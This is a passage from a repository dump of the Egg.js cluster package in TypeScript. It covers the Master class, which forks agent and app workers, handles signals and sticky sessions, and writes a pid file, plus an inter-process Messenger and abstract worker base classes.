    "content": "import { Master, type MasterOptions } from './master.ts';\nimport { type ClusterOptions, type ClusterHTTPSSecureOptions, type ClusterStartMode } from './utils/options.ts';\n\n/**\n * cluster start flow:\n *\n * [startCluster] -> master -> agent_worker -> new [Agent]       -> agentWorkerLoader\n *                         `-> app_worker   -> new [Application] -> appWorkerLoader\n *\n */\n\n/**\n * start egg app\n * @function Egg#startCluster\n * @param {Object} options {@link Master}\n */\nexport async function startCluster(options: ClusterOptions): Promise<void> {\n  await new Master(options).ready();\n}\n\nexport { Master, type MasterOptions, type ClusterOptions, type ClusterHTTPSSecureOptions, type ClusterStartMode };\n\nexport * from './error/index.ts';\n"
  },
  {
    "path": "packages/cluster/src/master.ts",
    "content": "import fs from 'node:fs';\nimport net from 'node:net';\nimport os from 'node:os';\nimport path from 'node:path';\nimport util from 'node:util';\nimport { debuglog } from 'node:util';\nimport v8 from 'node:v8';\n\nimport { reload } from 'cluster-reload';\nimport { detectPort } from 'detect-port';\nimport { EggConsoleLogger as ConsoleLogger } from 'egg-logger';\nimport { ReadyEventEmitter } from 'get-ready';\nimport terminalLink from 'terminal-link';\nimport { readJSONSync } from 'utility';\n\nimport { ClusterWorkerExceptionError } from './error/ClusterWorkerExceptionError.ts';\nimport { Messenger } from './utils/messenger.ts';\nimport { AgentProcessWorker, AgentProcessUtils as ProcessAgentWorker } from './utils/mode/impl/process/agent.ts';\nimport { AppProcessWorker, AppProcessUtils as ProcessAppWorker } from './utils/mode/impl/process/app.ts';\nimport {\n  AgentThreadWorker,\n  AgentThreadUtils as WorkerThreadsAgentWorker,\n} from './utils/mode/impl/worker_threads/agent.ts';\nimport { AppThreadWorker, AppThreadUtils as WorkerThreadsAppWorker } from './utils/mode/impl/worker_threads/app.ts';\nimport { parseOptions, type ClusterOptions, type ParsedClusterOptions } from './utils/options.ts';\nimport { WorkerManager } from './utils/worker_manager.ts';\n\nconst debug = debuglog('egg/cluster/master');\n\nexport interface MasterOptions extends ParsedClusterOptions {\n  clusterPort?: number;\n  stickyWorkerPort?: number;\n}\n\nexport class Master extends ReadyEventEmitter {\n  options: MasterOptions;\n  isStarted = false;\n  workerManager: WorkerManager;\n  messenger: Messenger;\n  isProduction: boolean;\n  agentWorkerIndex = 0;\n  closed = false;\n  logger: ConsoleLogger;\n  agentWorker: ProcessAgentWorker | WorkerThreadsAgentWorker;\n  appWorker: ProcessAppWorker | WorkerThreadsAppWorker;\n  #logMethod: 'info' | 'debug';\n  #realPort?: number;\n  #protocol: string;\n  #appAddress: string;\n\n  constructor(options?: ClusterOptions) {\n    super();\n    this.#start(options).catch((err) => {\n      this.ready(err);\n    });\n  }\n\n  async #start(options?: ClusterOptions) {\n    this.options = await parseOptions(options);\n    this.workerManager = new WorkerManager();\n    this.messenger = new Messenger(this, this.workerManager);\n    this.isProduction = isProduction(this.options);\n    this.#realPort = this.options.port;\n    this.#protocol = this.options.https ? 'https' : 'http';\n\n    // app started or not\n    this.isStarted = false;\n    this.logger = new ConsoleLogger({\n      level: process.env.EGG_MASTER_LOGGER_LEVEL ?? 'INFO',\n    });\n    this.#logMethod = 'info';\n    if (this.options.env === 'local' || process.env.NODE_ENV === 'development') {\n      this.#logMethod = 'debug';\n    }\n\n    // get the real framework info\n    const frameworkPath = this.options.framework;\n    const frameworkPkg = readJSONSync(path.join(frameworkPath, 'package.json'));\n\n    this.log(`[master] =================== ${frameworkPkg.name} start 🥚🥚🥚🥚 =====================`);\n    this.logger.info(`[master] node version ${process.version}`);\n    /* istanbul ignore next */\n    if ('alinode' in process) {\n      this.logger.info(`[master] alinode version ${process.alinode}`);\n    }\n    this.logger.info(`[master] ${frameworkPkg.name} version ${frameworkPkg.version}`);\n\n    if (this.isProduction) {\n      this.logger.info('[master] start with options:%s%s', os.EOL, JSON.stringify(this.options, null, 2));\n    } else {\n      this.log('[master] start with options: %j', this.options);\n    }\n    this.log(\n      '[master] start with env: isProduction: %s, EGG_SERVER_ENV: %s, NODE_ENV: %s',\n      this.isProduction,\n      this.options.env,\n      process.env.NODE_ENV,\n    );\n\n    const startTime = Date.now();\n\n    this.ready(() => {\n      this.isStarted = true;\n      const stickyMsg = this.options.sticky ? ' with STICKY MODE!' : '';\n      const startedURL = terminalLink(this.#appAddress, this.#appAddress, {\n        fallback: false,\n      });\n      this.logger.info(\n        '[master] %s started on %s (%sms)%s',\n        frameworkPkg.name,\n        startedURL,\n        Date.now() - startTime,\n        stickyMsg,\n      );\n      if (this.options.debugPort) {\n        const url = getAddress({\n          port: this.options.debugPort,\n          protocol: 'http',\n        });\n        const debugPortURL = terminalLink(url, url, { fallback: false });\n        this.logger.info('[master] %s started debug port on %s', frameworkPkg.name, debugPortURL);\n      }\n\n      const action = 'egg-ready';\n      this.messenger.send({\n        action,\n        to: 'parent',\n        data: {\n          port: this.#realPort,\n          debugPort: this.options.debugPort,\n          address: this.#appAddress,\n          protocol: this.#protocol,\n        },\n      });\n      this.messenger.send({\n        action,\n        to: 'app',\n        data: this.options,\n      });\n      this.messenger.send({\n        action,\n        to: 'agent',\n        data: this.options,\n      });\n\n      // start check agent and worker status\n      if (this.isProduction) {\n        this.workerManager.startCheck();\n      }\n    });\n\n    this.on('agent-exit', this.onAgentExit.bind(this));\n    this.on('agent-start', this.onAgentStart.bind(this));\n    this.on('app-exit', this.onAppExit.bind(this));\n    this.on('app-start', this.onAppStart.bind(this));\n    this.on('reload-worker', this.onReload.bind(this));\n\n    // fork app workers after agent started\n    this.once('agent-start', this.forkAppWorkers.bind(this));\n    // get the real port from options and app.config\n    // app worker will send after loading\n    this.on('realport', ({ port, protocol }) => {\n      // this.logger.info('[master] got realport: %s, protocol: %s', port, protocol);\n      if (port) {\n        this.#realPort = port;\n      }\n      if (protocol) {\n        this.#protocol = protocol;\n      }\n    });\n\n    // https://nodejs.org/api/process.html#process_signal_events\n    // https://en.wikipedia.org/wiki/Unix_signal\n    // kill(2) Ctrl-C\n    process.once('SIGINT', this.onSignal.bind(this, 'SIGINT'));\n    // kill(3) Ctrl-\\\n    process.once('SIGQUIT', this.onSignal.bind(this, 'SIGQUIT'));\n    // kill(15) default\n    process.once('SIGTERM', this.onSignal.bind(this, 'SIGTERM'));\n\n    process.once('exit', this.onExit.bind(this));\n\n    // write pid to file if provided\n    if (this.options.pidFile) {\n      fs.mkdirSync(path.dirname(this.options.pidFile), { recursive: true });\n      fs.writeFileSync(this.options.pidFile, process.pid.toString(), 'utf-8');\n    }\n\n    // exit when agent or worker exception\n    this.workerManager.on('exception', (count: { agent: number; worker: number }) => {\n      const err = new ClusterWorkerExceptionError(count.agent, count.worker);\n      this.logger.error(err);\n      process.exit(1);\n    });\n\n    await this.detectPorts();\n    // set app & agent worker impl\n    if (this.options.startMode === 'worker_threads') {\n      this.startByWorkerThreads();\n    } else {\n      this.startByProcess();\n    }\n\n    this.forkAgentWorker();\n  }\n\n  startByProcess(): void {\n    this.agentWorker = new ProcessAgentWorker(this.options, {\n      log: this.log.bind(this),\n      logger: this.logger,\n      messenger: this.messenger,\n    });\n\n    this.appWorker = new ProcessAppWorker(this.options, {\n      log: this.log.bind(this),\n      logger: this.logger,\n      messenger: this.messenger,\n      isProduction: this.isProduction,\n    });\n  }\n\n  startByWorkerThreads(): void {\n    this.agentWorker = new WorkerThreadsAgentWorker(this.options, {\n      log: this.log.bind(this),\n      logger: this.logger,\n      messenger: this.messenger,\n    });\n\n    this.appWorker = new WorkerThreadsAppWorker(this.options, {\n      log: this.log.bind(this),\n      logger: this.logger,\n      messenger: this.messenger,\n      isProduction: this.isProduction,\n    });\n  }\n\n  async detectPorts(): Promise<void> {\n    // Detect cluster client port\n    try {\n      const clusterPort = await detectPort();\n      this.options.clusterPort = clusterPort;\n      this.log('[master] detected cluster port: %s', clusterPort);\n      // If sticky mode, detect worker port\n      if (this.options.sticky) {\n        const stickyWorkerPort = await detectPort();\n        this.options.stickyWorkerPort = stickyWorkerPort;\n      }\n    } catch (err) {\n      this.logger.error(err);\n      process.exit(1);\n    }\n  }\n\n  log(msg: string, ...args: any[]): void {\n    debug(msg, ...args);\n    this.logger[this.#logMethod](msg, ...args);\n  }\n\n  startMasterSocketServer(cb: (err?: Error) => void): void {\n    // Create the outside facing server listening on our port.\n    net\n      .createServer(\n        {\n          pauseOnConnect: true,\n        },\n        (connection) => {\n          // We received a connection and need to pass it to the appropriate\n          // worker. Get the worker for this connection's source IP and pass\n          // it the connection.\n\n          /* istanbul ignore next */\n          if (!connection.remoteAddress) {\n            // This will happen when a client sends an RST(which is set to 1) right\n            // after the three-way handshake to the server.\n            // Read https://en.wikipedia.org/wiki/TCP_reset_attack for more details.\n            connection.destroy();\n          } else {\n            const worker = this.stickyWorker(connection.remoteAddress) as AppProcessWorker;\n            worker.instance.send('sticky-session:connection', connection);\n          }\n        },\n      )\n      .listen(this.#realPort, cb);\n  }\n\n  stickyWorker(ip: string): AppProcessWorker | AppThreadWorker {\n    const workerNumbers = this.options.workers;\n    const ws = this.workerManager.listWorkerIds();\n\n    let s = '';\n    for (let i = 0; i < ip.length; i++) {\n      if (!isNaN(parseInt(ip[i]))) {\n        s += ip[i];\n      }\n    }\n    const pid = ws[Number(s) % workerNumbers];\n    return this.workerManager.getWorker(pid)! as AppProcessWorker | AppThreadWorker;\n  }\n\n  forkAgentWorker(): void {\n    this.agentWorker.on('agent_forked', (agent: AgentProcessWorker | AgentThreadWorker) => {\n      this.workerManager.setAgent(agent);\n    });\n    this.agentWorker.fork();\n  }\n\n  forkAppWorkers(): void {\n    this.appWorker.on('worker_forked', (worker: AppProcessWorker | AppThreadWorker) => {\n      this.workerManager.setWorker(worker);\n    });\n    this.appWorker.fork();\n  }\n\n  /**\n   * close agent worker, App Worker will closed by cluster\n   *\n   * https://www.exratione.com/2013/05/die-child-process-die/\n   * make sure Agent Worker exit before master exit\n   *\n   * @param {number} timeout - kill agent timeout\n   * @return {Promise} -\n   */\n  async killAgentWorker(timeout: number): Promise<void> {\n    await this.agentWorker.kill(timeout);\n  }\n\n  async killAppWorkers(timeout: number): Promise<void> {\n    await this.appWorker.kill(timeout);\n  }\n\n  /**\n   * Agent Worker exit handler\n   * Will exit during startup, and refork during running.\n   */\n  onAgentExit(data: {\n    /** exit code */\n    code: number;\n    /** received signal */\n    signal: string;\n  }): void {\n    if (this.closed) return;\n\n    this.messenger.send({\n      action: 'egg-pids',\n      to: 'app',\n      data: [],\n    });\n    const agentWorker = this.agentWorker;\n    this.workerManager.deleteAgent();\n\n    const err = new Error(\n      util.format(\n        '[master] agent_worker#%s:%s died (code: %s, signal: %s)',\n        agentWorker.instance.id,\n        agentWorker.instance.workerId,\n        data.code,\n        data.signal,\n      ),\n    );\n    err.name = 'AgentWorkerDiedError';\n    this.logger.error(err);\n\n    // remove all listeners to avoid memory leak\n    agentWorker.clean();\n\n    if (this.isStarted) {\n      this.log('[master] try to start a new agent_worker after 1s ...');\n      setTimeout(() => {\n        this.logger.info('[master] new agent_worker starting...');\n        this.forkAgentWorker();\n      }, 1000);\n      this.messenger.send({\n        action: 'agent-worker-died',\n        to: 'parent',\n      });\n    } else {\n      this.logger.error(\n        '[master] agent_worker#%s:%s start fail, exiting with code:1',\n        agentWorker.instance.id,\n        agentWorker.instance.workerId,\n      );\n      process.exit(1);\n    }\n  }\n\n  onAgentStart(): void {\n    this.agentWorker.instance.status = 'started';\n\n    // Send egg-ready when agent is started after launched\n    if (this.appWorker.isAllWorkerStarted) {\n      this.messenger.send({\n        action: 'egg-ready',\n        to: 'agent',\n        data: this.options,\n      });\n    }\n\n    this.messenger.send({\n      action: 'egg-pids',\n      to: 'app',\n      data: [this.agentWorker.instance.workerId],\n    });\n    // should send current worker pids when agent restart\n    if (this.isStarted) {\n      this.messenger.send({\n        action: 'egg-pids',\n        to: 'agent',\n        data: this.workerManager.getListeningWorkerIds(),\n      });\n    }\n\n    this.messenger.send({\n      action: 'agent-start',\n      to: 'app',\n    });\n    this.logger.info(\n      '[master] agent_worker#%s:%s started (%sms)',\n      this.agentWorker.instance.id,\n      this.agentWorker.instance.workerId,\n      Date.now() - this.agentWorker.startTime,\n    );\n  }\n\n  /**\n   * App Worker exit handler\n   */\n  onAppExit(data: { workerId: number; code: number; signal: string }): void {\n    if (this.closed) return;\n\n    const worker = this.workerManager.getWorker(data.workerId)!;\n    if (!worker.isDevReload) {\n      const signal = data.signal;\n      const message = util.format(\n        '[master] app_worker#%s:%s died (code: %s, signal: %s, suicide: %s, state: %s), current workers: %j',\n        worker.id,\n        worker.workerId,\n        worker.exitCode,\n        signal,\n        worker.exitedAfterDisconnect,\n        worker.state,\n        this.workerManager.listWorkerIds(),\n      );\n      if (this.options.isDebug && signal === 'SIGKILL') {\n        // exit if died during debug\n        this.logger.error(message);\n        this.logger.error('[master] worker kill by debugger, exiting...');\n        setTimeout(() => this.close(), 10);\n      } else {\n        const err = new Error(message);\n        err.name = 'AppWorkerDiedError';\n        this.logger.error(err);\n      }\n    }\n\n    // remove all listeners to avoid memory leak\n    worker.clean();\n    this.workerManager.deleteWorker(data.workerId);\n    // send message to agent with alive workers\n    this.messenger.send({\n      action: 'egg-pids',\n      to: 'agent',\n      data: this.workerManager.getListeningWorkerIds(),\n    });\n\n    if (this.appWorker.isAllWorkerStarted) {\n      // cfork will only refork at production mode\n      this.messenger.send({\n        action: 'app-worker-died',\n        to: 'parent',\n      });\n    } else {\n      // exit if died during startup\n      this.logger.error('[master] app_worker#%s:%s start fail, exiting with code:1', worker.id, worker.workerId);\n      process.exit(1);\n    }\n  }\n\n  /**\n   * after app worker\n   */\n  onAppStart(data: { workerId: number; address: ListeningAddress }): void {\n    const worker = this.workerManager.getWorker(data.workerId)!;\n    debug('got app_worker#%s:%s app-start event, data: %j', worker.id, worker.workerId, data);\n\n    const address = data.address;\n    // worker should listen stickyWorkerPort when sticky mode\n    if (this.options.sticky) {\n      if (String(address.port) !== String(this.options.stickyWorkerPort)) {\n        return;\n      }\n      // worker should listen REALPORT when not sticky mode\n    } else if (\n      this.options.startMode !== 'worker_threads' &&\n      !isUnixSock(address) &&\n      String(address.port) !== String(this.#realPort)\n    ) {\n      return;\n    }\n    worker.state = 'listening';\n\n    // send message to agent with alive workers\n    this.messenger.send({\n      action: 'egg-pids',\n      to: 'agent',\n      data: this.workerManager.getListeningWorkerIds(),\n    });\n    // send message to app with current agent worker id\n    this.messenger.send({\n      action: 'egg-pids',\n      to: 'app',\n      data: [this.agentWorker.instance.workerId],\n      receiverWorkerId: String(worker.workerId),\n      receiverPid: String(worker.workerId),\n    });\n\n    this.appWorker.startSuccessCount++;\n    const remain = this.appWorker.isAllWorkerStarted ? 0 : this.options.workers - this.appWorker.startSuccessCount;\n    this.log(\n      '[master] app_worker#%s:%s started at %s, remain %s (%sms)',\n      worker.id,\n      worker.workerId,\n      address.port,\n      remain,\n      Date.now() - this.appWorker.startTime,\n    );\n\n    // Send egg-ready when app is started after launched\n    if (this.appWorker.isAllWorkerStarted) {\n      this.messenger.send({\n        action: 'egg-ready',\n        to: 'app',\n        data: this.options,\n      });\n    }\n\n    // if app is started, it should enable this worker\n    if (this.appWorker.isAllWorkerStarted) {\n      worker.disableRefork = false;\n    }\n\n    if (this.appWorker.isAllWorkerStarted || this.appWorker.startSuccessCount < this.options.workers) {\n      return;\n    }\n\n    this.appWorker.isAllWorkerStarted = true;\n\n    // enable all workers when app started\n    for (const worker of this.workerManager.listWorkers()) {\n      worker.disableRefork = false;\n    }\n\n    address.protocol = this.#protocol;\n    address.port = this.options.sticky ? this.#realPort! : address.port;\n    this.#appAddress = getAddress(address);\n\n    if (this.options.sticky) {\n      this.startMasterSocketServer((err) => {\n        if (err) {\n          return this.ready(err);\n        }\n        this.ready(true);\n      });\n    } else {\n      this.ready(true);\n    }\n  }\n\n  /**\n   * master exit handler\n   */\n  onExit(code: number): void {\n    if (this.options.pidFile && fs.existsSync(this.options.pidFile)) {\n      try {\n        fs.unlinkSync(this.options.pidFile);\n      } catch (err: any) {\n        /* istanbul ignore next */\n        this.logger.error('[master] delete pidFile %s fail with %s', this.options.pidFile, err.message);\n      }\n    }\n    // istanbul can't cover here\n    // https://github.com/gotwarlost/istanbul/issues/567\n    const level = code === 0 ? 'info' : 'error';\n    this.logger[level]('[master] exit with code:%s', code);\n  }\n\n  onSignal(signal: string): void {\n    if (this.closed) return;\n\n    this.log('[master] master is killed by signal %s, closing', signal);\n    if (this.isProduction) {\n      // logger more info\n      const { used_heap_size, heap_size_limit } = v8.getHeapStatistics();\n      this.logger.info('[master] system memory: total %s, free %s', os.totalmem(), os.freemem());\n      this.logger.info('[master] process info: heap_limit %s, heap_used %s', heap_size_limit, used_heap_size);\n    }\n\n    this.close();\n  }\n\n  /**\n   * reload workers, for develop purpose\n   */\n  onReload(): void {\n    this.log('[master] reload %s workers...', this.options.workers);\n    for (const worker of this.workerManager.listWorkers()) {\n      worker.isDevReload = true;\n    }\n    reload(this.options.workers);\n  }\n\n  async close(): Promise<void> {\n    this.closed = true;\n    setTimeout(() => {\n      this.log('[master] close timeout, exiting with code:2');\n      process.exit(2);\n    }, 15000);\n    try {\n      await this._doClose();\n      this.log('[master] close done, exiting with code:0');\n      process.exit(0);\n    } catch (e) {\n      this.logger.error('[master] close with error: ', e);\n      process.exit(1);\n    }\n  }\n\n  async _doClose(): Promise<void> {\n    // kill app workers\n    // kill agent worker\n    // exit itself\n    const legacyTimeout = process.env.EGG_MASTER_CLOSE_TIMEOUT || '5000';\n    const appTimeout = parseInt(process.env.EGG_APP_CLOSE_TIMEOUT || legacyTimeout);\n    const agentTimeout = parseInt(process.env.EGG_AGENT_CLOSE_TIMEOUT || legacyTimeout);\n    this.logger.info('[master] send kill SIGTERM to app workers, will exit with code:0 after %sms', appTimeout);\n    this.logger.info('[master] wait %sms', appTimeout);\n    try {\n      await this.killAppWorkers(appTimeout);\n    } catch (e) {\n      this.logger.error('[master] app workers exit error: ', e);\n    }\n    this.logger.info('[master] send kill SIGTERM to agent worker, will exit with code:0 after %sms', agentTimeout);\n    this.logger.info('[master] wait %sms', agentTimeout);\n    try {\n      await this.killAgentWorker(agentTimeout);\n    } catch (e) {\n      this.logger.error('[master] agent worker exit error: ', e);\n    }\n  }\n}\n\nfunction isProduction(options: ClusterOptions) {\n  if (options.env) {\n    return options.env !== 'local' && options.env !== 'unittest';\n  }\n  return process.env.NODE_ENV === 'production';\n}\n\ninterface ListeningAddress {\n  port: number;\n  protocol: string;\n  address?: string;\n  // https://nodejs.org/api/cluster.html#cluster_event_listening_1\n  addressType?: number;\n}\n\nfunction getAddress({ addressType, address, port, protocol }: ListeningAddress): string {\n  // unix sock\n  // https://nodejs.org/api/cluster.html#cluster_event_listening_1\n  if (addressType === -1) {\n    return address!;\n  }\n\n  // {\"address\":\"::\",\"family\":\"IPv6\",\"port\":17001}\n  if (address === '::') {\n    address = '';\n  }\n  if (!address && process.env.HOST && process.env.HOST !== '0.0.0.0') {\n    address = process.env.HOST;\n  }\n  if (!address) {\n    address = '127.0.0.1';\n  }\n  return `${protocol}://${address}:${port}`;\n}\n\nfunction isUnixSock(address: ListeningAddress): boolean {\n  return address.addressType === -1;\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/messenger.ts",
    "content": "import { debuglog } from 'node:util';\nimport workerThreads from 'node:worker_threads';\n\nimport type { Master } from '../master.ts';\nimport type { WorkerManager } from './worker_manager.ts';\n\nconst debug = debuglog('egg/cluster/messenger');\n\nexport type MessageCharacter = 'agent' | 'app' | 'master' | 'parent';\n\nexport interface MessageBody {\n  action: string;\n  data?: unknown;\n  to?: MessageCharacter;\n  from?: MessageCharacter;\n  /**\n   * @deprecated Keep compatible, please use receiverWorkerId instead\n   */\n  receiverPid?: string;\n  receiverWorkerId?: string;\n  senderWorkerId?: string;\n  /**\n   * Whether reusePort is enabled for server listen.\n   * When reusePort is true, cluster won't get `listening` event,\n   * so we need to use cluster `message` event instead.\n   */\n  reusePort?: boolean;\n}\n\n/**\n * master messenger, provide communication between parent, master, agent and app.\n *\n *             ┌────────┐\n *             │ parent │\n *            /└────────┘\\\n *           /     |      \\\n *          /  ┌────────┐  \\\n *         /   │ master │   \\\n *        /    └────────┘    \\\n *       /     /         \\    \\\n *     ┌───────┐         ┌───────┐\n *     │ agent │ ------- │  app  │\n *     └───────┘         └───────┘\n *\n *\n * in app worker\n *\n * ```js\n * process.send({\n *   action: 'xxx',\n *   data: '',\n *   to: 'agent/master/parent', // default to agent\n * });\n * ```\n *\n * in agent worker\n *\n * ```js\n * process.send({\n *   action: 'xxx',\n *   data: '',\n *   to: 'app/master/parent', // default to app\n * });\n * ```\n *\n * in parent\n *\n * ```js\n * process.send({\n *   action: 'xxx',\n *   data: '',\n *   to: 'app/agent/master', // default to master\n * });\n * ```\n */\nexport class Messenger {\n  #master: Master;\n  #workerManager: WorkerManager;\n  #hasParent: boolean;\n\n  constructor(master: Master, workerManager: WorkerManager) {\n    this.#master = master;\n    this.#workerManager = workerManager;\n    this.#hasParent = !!workerThreads.parentPort || !!process.send;\n    process.on('message', (msg: MessageBody) => {\n      msg.from = 'parent';\n      this.send(msg);\n    });\n    process.once('disconnect', () => {\n      this.#hasParent = false;\n    });\n  }\n\n  /**\n   * send message\n   * @param {Object} data message body\n   *  - {String} from from who\n   *  - {String} to to who\n   */\n  send(data: MessageBody): void {\n    if (!data.from) {\n      data.from = 'master';\n    }\n\n    // https://github.com/eggjs/egg/blob/b6861f1c7548f05a281386050dfeaeb30f236558/lib/core/messenger/ipc.js#L56\n    // recognize receiverWorkerId is to who\n    const receiverWorkerId = data.receiverWorkerId ?? data.receiverPid;\n    if (receiverWorkerId) {\n      if (receiverWorkerId === String(process.pid)) {\n        data.to = 'master';\n      } else if (receiverWorkerId === String(this.#workerManager.getAgent()!.workerId)) {\n        data.to = 'agent';\n      } else {\n        data.to = 'app';\n      }\n    }\n\n    // default from -> to rules\n    if (!data.to) {\n      if (data.from === 'agent') {\n        data.to = 'app';\n      }\n      if (data.from === 'app') {\n        data.to = 'agent';\n      }\n      if (data.from === 'parent') {\n        data.to = 'master';\n      }\n    }\n\n    // app -> master\n    // agent -> master\n    if (data.to === 'master') {\n      debug('%s -> master, data: %j', data.from, data);\n      // app/agent to master\n      this.sendToMaster(data);\n      return;\n    }\n\n    // master -> parent\n    // app -> parent\n    // agent -> parent\n    if (data.to === 'parent') {\n      debug('%s -> parent, data: %j', data.from, data);\n      this.sendToParent(data);\n      return;\n    }\n\n    // parent -> master -> app\n    // agent -> master -> app\n    if (data.to === 'app') {\n      debug('%s -> %s, data: %j', data.from, data.to, data);\n      this.sendToAppWorker(data);\n      return;\n    }\n\n    // parent -> master -> agent\n    // app -> master -> agent，可能不指定 to\n    if (data.to === 'agent') {\n      debug('%s -> %s, data: %j', data.from, data.to, data);\n      this.sendToAgentWorker(data);\n      return;\n    }\n  }\n\n  /**\n   * send message to master self\n   * @param {Object} data message body\n   */\n  sendToMaster(data: MessageBody): void {\n    // e.g: master.on('app-start', data => {})\n    this.#master.emit(data.action, data.data);\n  }\n\n  /**\n   * send message to parent process\n   * @param {Object} data message body\n   */\n  sendToParent(data: MessageBody): void {\n    if (!this.#hasParent) {\n      return;\n    }\n    process.send!(data);\n  }\n\n  /**\n   * send message to app worker\n   * @param {Object} data message body\n   */\n  sendToAppWorker(data: MessageBody): void {\n    for (const worker of this.#workerManager.listWorkers()) {\n      if (worker.state === 'disconnected') {\n        continue;\n      }\n      // check receiverWorkerId\n      const receiverWorkerId = data.receiverWorkerId ?? data.receiverPid;\n      if (receiverWorkerId && receiverWorkerId !== String(worker.workerId)) {\n        continue;\n      }\n      worker.send(data);\n    }\n  }\n\n  /**\n   * send message to agent worker\n   * @param {Object} data message body\n   */\n  sendToAgentWorker(data: MessageBody): void {\n    const agent = this.#workerManager.getAgent();\n    if (agent) {\n      agent.send(data);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/base/agent.ts",
    "content": "import type { ChildProcess } from 'node:child_process';\nimport { EventEmitter } from 'node:events';\nimport { existsSync } from 'node:fs';\nimport path from 'node:path';\nimport type { Worker } from 'node:worker_threads';\n\nimport type { Logger } from 'egg-logger';\n\nimport type { MasterOptions } from '../../../master.ts';\nimport type { MessageBody, Messenger } from '../../messenger.ts';\n\nexport abstract class BaseAgentWorker<T = ChildProcess | Worker> {\n  instance: T;\n  #instanceId: number;\n  #instanceStatus: string;\n\n  constructor(instance: T) {\n    this.instance = instance;\n  }\n\n  abstract get workerId(): number;\n\n  get id(): number {\n    return this.#instanceId;\n  }\n\n  set id(id: number) {\n    this.#instanceId = id;\n  }\n\n  get status(): string {\n    return this.#instanceStatus;\n  }\n\n  set status(status: string) {\n    this.#instanceStatus = status;\n  }\n\n  abstract send(message: MessageBody): void;\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static send(_message: MessageBody): void {\n    throw new Error('BaseAgentWorker should implement send.');\n  }\n\n  static kill(): void {\n    throw new Error('BaseAgentWorker should implement kill.');\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static gracefulExit(_options: any): void {\n    throw new Error('BaseAgentWorker should implement gracefulExit.');\n  }\n}\n\ntype LogFun = (msg: any, ...args: any[]) => void;\n\nexport abstract class BaseAgentUtils extends EventEmitter {\n  protected options: MasterOptions;\n  protected messenger: Messenger;\n  protected log: LogFun;\n  protected logger: Logger;\n  // public attrs\n  startTime = 0;\n\n  constructor(\n    options: MasterOptions,\n    {\n      log,\n      logger,\n      messenger,\n    }: {\n      log: LogFun;\n      logger: Logger;\n      messenger: Messenger;\n    },\n  ) {\n    super();\n    this.options = options;\n    this.log = log;\n    this.logger = logger;\n    this.messenger = messenger;\n    // this.instance = null;\n  }\n\n  getAgentWorkerFile(): string {\n    const srcDirname = path.join(import.meta.dirname, '../../..');\n    let agentWorkerFile = path.join(srcDirname, 'agent_worker.js');\n    if (!existsSync(agentWorkerFile)) {\n      agentWorkerFile = path.join(srcDirname, 'agent_worker.ts');\n    }\n    return agentWorkerFile;\n  }\n\n  fork(): void {\n    throw new Error('BaseAgent should implement fork.');\n  }\n\n  clean(): void {\n    throw new Error('BaseAgent should implement clean.');\n  }\n\n  abstract kill(timeout: number): Promise<void>;\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/base/app.ts",
    "content": "import type { Worker as ClusterProcessWorker } from 'node:cluster';\nimport { EventEmitter } from 'node:events';\nimport { existsSync } from 'node:fs';\nimport path from 'node:path';\nimport type { Worker as ThreadWorker } from 'node:worker_threads';\n\nimport type { Logger } from 'egg-logger';\n\nimport type { MasterOptions } from '../../../master.ts';\nimport type { MessageBody, Messenger } from '../../messenger.ts';\n\nexport abstract class BaseAppWorker<T = ThreadWorker | ClusterProcessWorker> {\n  instance: T;\n\n  constructor(instance: T) {\n    this.instance = instance;\n  }\n\n  abstract get workerId(): number;\n\n  abstract get id(): number;\n\n  get state(): string {\n    return Reflect.get(this.instance!, 'state') as string;\n  }\n\n  set state(state: string) {\n    Reflect.set(this.instance!, 'state', state);\n  }\n\n  abstract get exitedAfterDisconnect(): boolean;\n\n  abstract get exitCode(): number;\n\n  get disableRefork(): boolean {\n    return Reflect.get(this.instance!, 'disableRefork') as boolean;\n  }\n\n  set disableRefork(disableRefork: boolean) {\n    Reflect.set(this.instance!, 'disableRefork', disableRefork);\n  }\n\n  get isDevReload(): boolean {\n    return Reflect.get(this.instance!, 'isDevReload') as boolean;\n  }\n\n  set isDevReload(isDevReload: boolean) {\n    Reflect.set(this.instance!, 'isDevReload', isDevReload);\n  }\n\n  abstract send(data: MessageBody): void;\n\n  clean(): void {\n    throw new Error('BaseAppWorker should implement clean.');\n  }\n\n  // static methods use on src/app_worker.ts\n\n  static get workerId(): number {\n    throw new Error('BaseAppWorker should implement workerId.');\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static on(..._args: any[]): void {\n    throw new Error('BaseAppWorker should implement on.');\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static send(_message: MessageBody): void {\n    throw new Error('BaseAgentWorker should implement send.');\n  }\n\n  static kill(): void {\n    throw new Error('BaseAppWorker should implement kill.');\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static gracefulExit(_options: any): void {\n    throw new Error('BaseAgentWorker should implement gracefulExit.');\n  }\n}\n\ntype LogFun = (msg: any, ...args: any[]) => void;\n\nexport abstract class BaseAppUtils extends EventEmitter {\n  options: MasterOptions;\n  protected messenger: Messenger;\n  protected log: LogFun;\n  protected logger: Logger;\n  protected isProduction: boolean;\n  // public attrs\n  startTime = 0;\n  startSuccessCount = 0;\n  isAllWorkerStarted = false;\n\n  constructor(\n    options: MasterOptions,\n    {\n      log,\n      logger,\n      messenger,\n      isProduction,\n    }: {\n      log: LogFun;\n      logger: Logger;\n      messenger: Messenger;\n      isProduction: boolean;\n    },\n  ) {\n    super();\n    this.options = options;\n    this.log = log;\n    this.logger = logger;\n    this.messenger = messenger;\n    this.isProduction = isProduction;\n  }\n\n  getAppWorkerFile(): string {\n    const srcDirname = path.join(import.meta.dirname, '../../..');\n    let appWorkerFile = path.join(srcDirname, 'app_worker.js');\n    if (!existsSync(appWorkerFile)) {\n      appWorkerFile = path.join(srcDirname, 'app_worker.ts');\n    }\n    return appWorkerFile;\n  }\n\n  fork(): void {\n    throw new Error('BaseApp should implement fork.');\n  }\n\n  abstract kill(timeout: number): Promise<void>;\n}\n"
  },
  {
    "path": "packages/cluster/src/utils/mode/impl/process/agent.ts",
